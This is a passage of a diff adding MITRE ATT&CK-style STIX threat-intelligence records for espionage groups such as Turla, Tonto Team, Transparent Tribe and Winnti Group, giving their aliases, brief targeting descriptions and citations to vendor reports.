2018)", + "source_name": "BRONZE UNION" + }, + { + "description": "(Citation: Nccgroup Emissary Panda May 2018) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)", + "source_name": "APT27" + }, + { + "description": "(Citation: Hacker News LuckyMouse June 2018)", + "source_name": "Iron Tiger" + }, + { + "description": "(Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)", + "source_name": "LuckyMouse" + }, + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + }, + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "source_name": "Securelist LuckyMouse June 2018" + }, + { + "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html", + "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.", + "source_name": "Hacker News LuckyMouse June 2018" + }, + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/", + "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.", + "source_name": "Gallagher 2015" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Thrip", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as \"living off the land\" techniques. (Citation: Symantec Thrip June 2018)", + "x_mitre_version": "1.2", + "modified": "2021-10-12T20:13:42.274Z", + "aliases": [ + "Thrip" + ], + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0076", + "external_id": "G0076", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Symantec Thrip June 2018)", + "source_name": "Thrip" + }, + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Tonto Team", + "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://attack.mitre.org/groups/G0131) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).(Citation: Kaspersky CactusPete Aug 2020)(Citation: ESET Exchange Mar 2021)(Citation: FireEye Chinese Espionage October 2019)(Citation: ARS Technica China Hack SK April 2017)(Citation: Trend Micro HeartBeat Campaign January 2013)(Citation: Talos Bisonal 10 Years March 2020)", + "x_mitre_version": "1.0", + "modified": "2021-10-17T20:56:22.161Z", + "aliases": [ + "Tonto Team", + "Earth Akhlut", + "BRONZE HUNTLEY", + "CactusPete", + "Karma Panda" + ], + "created": "2021-05-05T17:18:25.987Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0131", + "external_id": "G0131", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: TrendMicro Tonto Team October 2020)", + "source_name": "Earth Akhlut" + }, + { + "description": "(Citation: Secureworks BRONZE HUNTLEY )", + "source_name": "BRONZE HUNTLEY" + }, + { + "description": "(Citation: Kaspersky CactusPete Aug 2020)", + "source_name": "CactusPete" + }, + { + "description": "(Citation: Kaspersky CactusPete Aug 2020)(Citation: CrowdStrike Manufacturing Threat July 2020)", + "source_name": "Karma Panda" + }, + { + "url": "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/", + "description": "Zykov, K. (2020, August 13). CactusPete APT group\u2019s updated Bisonal backdoor. Retrieved May 5, 2021.", + "source_name": "Kaspersky CactusPete Aug 2020" + }, + { + "url": "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", + "description": "Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021.", + "source_name": "ESET Exchange Mar 2021" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "description": "Nalani Fraser, Kelli Vanderlee. (2019, October 10). Achievement Unlocked - Chinese Cyber Espionage Evolves to Support Higher Level Missions. Retrieved October 17, 2021.", + "source_name": "FireEye Chinese Espionage October 2019" + }, + { + "url": "https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/", + "description": "Sean Gallagher. (2017, April 21). Researchers claim China trying to hack South Korea missile defense efforts. Retrieved October 17, 2021.", + "source_name": "ARS Technica China Hack SK April 2017" + }, + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the-heartbeat-apt-campaign.pdf?", + "description": "Roland Dela Paz. (2003, January 3). The HeartBeat APT Campaign. Retrieved October 17, 2021.", + "source_name": "Trend Micro HeartBeat Campaign January 2013" + }, + { + "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", + "description": "Warren Mercer, Paul Rascagneres, Vitor Ventura. (2020, March 6). Bisonal 10 Years of Play. Retrieved October 17, 2021.", + "source_name": "Talos Bisonal 10 Years March 2020" + }, + { + "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", + "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021.", + "source_name": "TrendMicro Tonto Team October 2020" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/bronze-huntley", + "description": "Secureworks. (2021, January 1). BRONZE HUNTLEY Threat Profile. Retrieved May 5, 2021.", + "source_name": "Secureworks BRONZE HUNTLEY " + }, + { + "url": "https://www.crowdstrike.com/blog/adversaries-targeting-the-manufacturing-industry/", + "description": "Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries\u2019 Crosshairs. Retrieved October 17, 2021.", + "source_name": "CrowdStrike Manufacturing Threat July 2020" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Transparent Tribe", + "x_mitre_version": "1.0", + "modified": "2021-10-25T17:19:00.720Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Transparent Tribe", + "COPPER FIELDSTONE", + "APT36", + "Mythic Leopard", + "ProjectM" + ], + "id": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3", + "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)", + "x_mitre_contributors": [ + "Manikantan Srinivasan, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India", + "Hiroki Nagahama, NEC Corporation" + ], + "created": "2021-09-02T15:14:33.738Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0134", + "external_id": "G0134", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Secureworks COPPER FIELDSTONE Profile)", + "source_name": "COPPER FIELDSTONE" + }, + { + "description": "(Citation: Talos Transparent Tribe May 2021)", + "source_name": "APT36" + }, + { + "description": "(Citation: Crowdstrike Mythic Leopard Profile)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Transparent Tribe May 2021)", + "source_name": "Mythic Leopard" + }, + { + "description": "(Citation: Unit 42 ProjectM March 2016)(Citation: Kaspersky Transparent Tribe August 2020)", + "source_name": "ProjectM" + }, + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + }, + { + "url": "https://securelist.com/transparent-tribe-part-1/98127/", + "description": "Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021.", + "source_name": "Kaspersky Transparent Tribe August 2020" + }, + { + "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html", + "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021.", + "source_name": "Talos Transparent Tribe May 2021" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/copper-fieldstone", + "description": "Secureworks. (n.d.). COPPER FIELDSTONE. Retrieved October 6, 2021.", + "source_name": "Secureworks COPPER FIELDSTONE Profile" + }, + { + "url": "https://adversary.crowdstrike.com/en-US/adversary/mythic-leopard/", + "description": "Crowdstrike. (n.d.). Mythic Leopard. Retrieved October 6, 2021.", + "source_name": "Crowdstrike Mythic Leopard Profile" + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/", + "description": "Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021.", + "source_name": "Unit 42 ProjectM March 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Tropic Trooper", + "x_mitre_version": "1.4", + "modified": "2021-04-26T14:15:15.610Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Tropic Trooper", + "Pirate Panda", + "KeyBoy" + ], + "id": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)", + "x_mitre_contributors": [ + "Edward Millington", + "Bart Parys" + ], + "created": "2019-01-29T20:17:48.717Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0081", + "external_id": "G0081", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)", + "source_name": "Tropic Trooper" + }, + { + "description": "(Citation: Crowdstrike Pirate Panda April 2020)", + "source_name": "Pirate Panda" + }, + { + "description": "(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper Mar 2018)", + "source_name": "KeyBoy" + }, + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + }, + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + }, + { + "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", + "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.", + "source_name": "TrendMicro Tropic Trooper May 2020" + }, + { + "url": "https://www.crowdstrike.com/blog/on-demand-webcast-crowdstrike-experts-on-covid-19-cybersecurity-challenges-and-recommendations/", + "description": "Busselen, M. (2020, April 7). On-demand Webcast: CrowdStrike Experts on COVID-19 Cybersecurity Challenges and Recommendations. Retrieved May 20, 2020.", + "source_name": "Crowdstrike Pirate Panda April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Turla", + "x_mitre_version": "2.1", + "modified": "2021-08-27T14:36:25.289Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Turla", + "Group 88", + "Belugasturgeon", + "Waterbug", + "WhiteBear", + "VENOMOUS BEAR", + "Snake", + "Krypton" + ], + "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)\u2019s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)", + "x_mitre_contributors": [ + "Matthieu Faou, ESET", + "Edward Millington" + ], + "created": "2017-05-31T21:31:49.816Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0010", + "external_id": "G0010", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Turla" + }, + { + "description": "(Citation: Leonardo Turla Penquin May 2020)", + "source_name": "Group 88" + }, + { + "description": "(Citation: Accenture HyperStack October 2020)", + "source_name": "Belugasturgeon" + }, + { + "description": "Based similarity in TTPs and malware used, Turla and Waterbug appear to be the same group.(Citation: Symantec Waterbug)", + "source_name": "Waterbug" + }, + { + "description": "WhiteBear is a designation used by Securelist to describe a cluster of activity that has overlaps with activity described by others as Turla, but appears to have a separate focus.(Citation: Securelist WhiteBear Aug 2017)", + "source_name": "WhiteBear" + }, + { + "description": "(Citation: CrowdStrike VENOMOUS BEAR)", + "source_name": "VENOMOUS BEAR" + }, + { + "description": "(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla PowerShell May 2019)", + "source_name": "Snake" + }, + { + "description": "(Citation: CrowdStrike VENOMOUS BEAR)", + "source_name": "Krypton" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017" + }, + { + "source_name": "CrowdStrike VENOMOUS BEAR", + "description": "Meyers, A. (2018, March 12). Meet CrowdStrike\u2019s Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/" + }, + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", + "source_name": "Leonardo Turla Penquin May 2020" + }, + { + "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020.", + "source_name": "Accenture HyperStack October 2020" + }, + { + "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1", + "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.", + "source_name": "Symantec Waterbug" + }, + { + "url": "https://securelist.com/introducing-whitebear/81638/", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017" + }, + { + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "source_name": "ESET Turla PowerShell May 2019" + } + ] + }, + { + "type": "intrusion-set", + "modified": "2021-05-04T14:39:31.825Z", + "name": "UNC2452", + "created": "2021-01-05T15:34:11.066Z", + "id": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0118", + "external_id": "G0118", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye SUNBURST Backdoor December 2020)", + "source_name": "UNC2452" + }, + { + "description": "(Citation: MSTIC NOBELIUM Mar 2021)", + "source_name": "NOBELIUM" + }, + { + "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)", + "source_name": "StellarParticle" + }, + { + "description": "(Citation: Volexity SolarWinds)", + "source_name": "Dark Halo" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.", + "source_name": "FireEye SUNBURST Backdoor December 2020" + }, + { + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "source_name": "Volexity SolarWinds" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", + "source_name": "MSTIC NOBELIUM Mar 2021" + }, + { + "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/", + "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.", + "source_name": "CrowdStrike SUNSPOT Implant January 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Volatile Cedar", + "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)", + "x_mitre_version": "1.0", + "modified": "2021-02-10T21:01:16.908Z", + "aliases": [ + "Volatile Cedar", + "Lebanese Cedar" + ], + "created": "2021-02-08T20:30:30.578Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0123", + "external_id": "G0123", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: CheckPoint Volatile Cedar March 2015)", + "source_name": "Volatile Cedar" + }, + { + "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)", + "source_name": "Lebanese Cedar" + }, + { + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021.", + "source_name": "CheckPoint Volatile Cedar March 2015" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.", + "source_name": "ClearSky Lebanese Cedar Jan 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "WIRTE", + "x_mitre_version": "1.2", + "modified": "2021-10-17T14:50:57.491Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "WIRTE" + ], + "id": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1", + "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)", + "x_mitre_contributors": [ + "Lab52 by S2 Grupo" + ], + "created": "2019-05-24T17:02:44.226Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0090", + "external_id": "G0090", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Lab52 WIRTE Apr 2019)", + "source_name": "WIRTE" + }, + { + "source_name": "Lab52 WIRTE Apr 2019", + "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.", + "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Whitefly", + "description": "[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore\u2019s largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)", + "x_mitre_version": "1.1", + "modified": "2021-10-12T21:43:24.133Z", + "aliases": [ + "Whitefly" + ], + "created": "2020-05-26T16:55:09.674Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0107", + "external_id": "G0107", + "source_name": "mitre-attack" + }, + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore", + "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020.", + "source_name": "Symantec Whitefly March 2019" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Windigo", + "description": "The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)", + "x_mitre_version": "1.0", + "modified": "2021-04-26T22:32:57.046Z", + "aliases": [ + "Windigo" + ], + "created": "2021-02-10T19:57:38.042Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0124", + "external_id": "G0124", + "source_name": "mitre-attack" + }, + { + "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/", + "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021.", + "source_name": "ESET Windigo Mar 2014" + }, + { + "url": "https://security.web.cern.ch/advisories/windigo/windigo.shtml", + "description": "CERN. (2019, June 4). 2019/06/04 Advisory: Windigo attacks. Retrieved February 10, 2021.", + "source_name": "CERN Windigo June 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-04-26T14:37:33.234Z", + "name": "Windshift", + "description": "[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)", + "x_mitre_version": "1.1", + "aliases": [ + "Windshift", + "Bahamut" + ], + "id": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0112", + "external_id": "G0112", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: SANS Windshift August 2018)", + "source_name": "Bahamut" + }, + { + "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf", + "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020.", + "source_name": "SANS Windshift August 2018" + }, + { + "url": "https://objective-see.com/blog/blog_0x3B.html", + "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019.", + "source_name": "objective-see windtail1 dec 2018" + }, + { + "url": "https://objective-see.com/blog/blog_0x3D.html", + "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019.", + "source_name": "objective-see windtail2 jan 2019" + } + ], + "created": "2020-06-25T17:16:39.168Z", + "type": "intrusion-set" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Winnti Group", + "x_mitre_version": "1.1", + "modified": "2021-11-05T15:59:50.451Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Winnti Group", + "Blackfly" + ], + "id": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)", + "x_mitre_contributors": [ + "Edward Millington" + ], + "created": "2017-05-31T21:32:08.682Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0044", + "external_id": "G0044", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015)", + "source_name": "Winnti Group" + }, + { + "description": "(Citation: Symantec Suckfly March 2016)", + "source_name": "Blackfly" + }, + { + "source_name": 